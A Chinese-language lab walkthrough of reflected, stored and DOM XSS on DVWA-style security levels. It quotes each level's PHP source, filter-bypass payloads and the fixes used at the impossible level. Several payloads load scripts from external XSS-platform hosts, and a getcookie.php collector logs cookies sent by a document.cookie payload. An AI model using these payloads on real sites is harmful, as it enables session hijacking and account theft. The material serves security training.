XSS
知识点
XSS概念:由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS类型:
反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。 往往只一次有效。
前端->后端->前端
存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。可多次有效。比如某网站评论区有xss漏洞,利用该漏洞,每当用户访问该留言界面时,就会触发该xss漏洞,这时我们就可以在xss平台上获取这个用户的cookie,来实现无密码登录。
前端->后端->数据库->前端
DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
反射型XSS
low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
当后台与前端浏览器进行交互时,很有可能会产生xss漏洞,审计代码发现没有对参数进行过滤
进行xss攻击
<script>alert(‘xss’)</script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a> #点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址错误,然后执行onerror的内容
网页重定向
<script>window.location='http://www.163.com'</script>
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
我们可以利用xss平台来获取cookie
</textarea>'"><script src=https://xsspt.com/18lqwS?1602040683></script>
medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
审计代码,就过滤了一个<script>标签,我们可以通过大小写绕过,<scr<script>ipt>双写绕过,或者利用别的标签绕过
利用xss平台
</textarea>'"><script src=https://xsspt.com/18lqwS?1602040925></script>
这里<script src=...>跟过滤的不相符,自然也可以绕过
high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
审计代码,只要在字符串中以<script>的形式哪怕是断断续续的不区分大小写,就会将其过滤
这时我们用其他标签绕过
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/kUhA0';>
啊这,好像不行,为什么呢,因为这个字符串内有断断续续的字符能构成<script>,这时我们要利用harkbar内xss中的htmlcharacter功能,进行转码,实现绕过
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/kUhA0';>
我们也可以在自己写一个getcookie.php
<?php
$cookie=$_GET['cookie'];
$file=fopen("cookie.txt","a");
fwrite($file,$cookie."\n");
fclose($file)
?>
这里记得开启创建并写入文件的权限
chmod 777 .
在输入框内输入
<img scr=# onerror=(location.href="http://127.0.0.1/getcookie.php?cookie=")+document.cookie>
这时要注意绕过正则
<img src=# onerror=(location.href="http://127.0.0.1/getcookie.php?cookie="+document.cookie)>
我们就可以在cookie.txt内看到cookie
impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
使用htmlspecialchars()函数对参数进行html实体转义,将html标签转换成文本,浏览器就无法识别标签,就抵御了xss漏洞
存储型XSS
low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
审计代码,发现对name和comment进行了防sql注入处理,但是没有进行防xss
这里我们试着输入name:11 comment:/111
但是stripslashes函数没有把comment的反斜杠给去除掉,也是很迷
我们利用xss平台
</textarea>'"><script src=https://xsspt.com/18lqwS?1602047123></script>
name框随便输,comment框输入上述(利用火狐改变输入框最多输入字符数),我们可以在xss平台获取cookie,但是我试着重复访问这个页面,发现xss平台在接收完第一次cookie时,并没有重复接收cookie,而我们要是利用getcookie.php,每访问一次,便会返回一个cookie给cookie.txt,这时我们得到的cookie便是反反复复重复的。简单来说,就是xss平台利用的存储型xss漏洞,接收的cookie不会重复,而getcookie.php变会重复。而我们的<script>alert(111)</script>也是每次刷新或者访问都会出现
medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
strip_tags()函数是去除字符串中的 HTML、XML 以及PHP的标签,返回去除标签之后的字符串
addslashes()函数在单引号,双引号,反斜杠,等前面加反斜杠转义
这里我们发现只对message进行了防xss处理,对name只进行了一个<script>过滤,我们完全可以用大小写绕过,或者双写,其他标签也行
我们在name框放入
</textarea>'"><script src=https://xsspt.com/18lqwS?1602049302></script>
即可获取cookie,每当有一个新用户访问留言界面时,xss平台上便会接收这个新用户的cookie,注意已经获取的老用户cookie,再访问时,xss平台上不会接收这个老用户的cookie.
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
对message进行了防sql注入和抵御xss,但是对name还是跟反射型xss中high级别一样的处理,我们一样的绕过就行
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/kUhA0';>
impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到对name和message都进行了htmlspecialchars()处理,并且防止了sql注入。
DOM型xss
知识点
什么是DOM?
DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。
DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:
- document.referer
- window. name
- location
- innerHTML
- documen.write
客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。
DOM型XSS可能是反射型,也可能是存储型。
low
<?php
# No protections, anything goes
?>
可以看到没有进行任何的过滤
可以看到,我们选择English时,default=English,并且html页面中插入了
<option value="English">English</option>
<option value="" disabled="disabled">---</option>
我们插入
<script>alert(111)</script>
可以看到value里面便是我们插入的语句,并且成功执行了。
我们利用xss平台,获取cookie
</textarea>'"><script src=https://xsspt.com/18lqwS?1602141455></script>
medium
构造?default=<script>alert(11111)</script>,这时页面会自动跳转?default=English
双写绕过 :?default=<scri<script>pt>alert(1111)</scr</script>ipt>,这时页面也会自动跳转?default=English
大小写绕过:?default=<Scipt>alert(111)</scRiPt>,这时页面会自动跳转?default=English
我们猜测后台对<script>标签进行了比较严格的过滤
尝试用别的标签
构造?default=<img src=# onerror=alert(1111)>
发现插入到了value值里,并没有插入option标签内,这是为什么呢?
纠结了好久,html菜真没办法。
因为select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS
所以插入
</option></select><img src=# onerror=alert(document.cookie)>
即可实现绕过
利用xss平台
</option></select><img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//0xs.co/lab63';>
后台源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
可知用stripos过滤了<script,使得大小写和双写没用
high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
可知是白名单限制
URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。
构造
English#<script>alert(1111)</script>
实现了绕过
可以看到发送给后台的链接是?default=English
而我们客户端的是?default=English#<script>alert(1111)</script>
客户端的脚本是
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
截取到的lang是我们客户端的default参数,而不是发送给服务器的default参数
impossible
<?php
# Don't need to do anything, protction handled on the client side
?>
大概意思是只在客户端做好防护就行了
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
我们看到没有对lang进行url解码,自然就没有dom型xss
并且我们由此可以知道url中的参数都是经过了url编码的,只是为了使用户看起来舒服,没有显示出来
由bp里的发送头也可以得知是编码的,然后发送到后台自动解码一次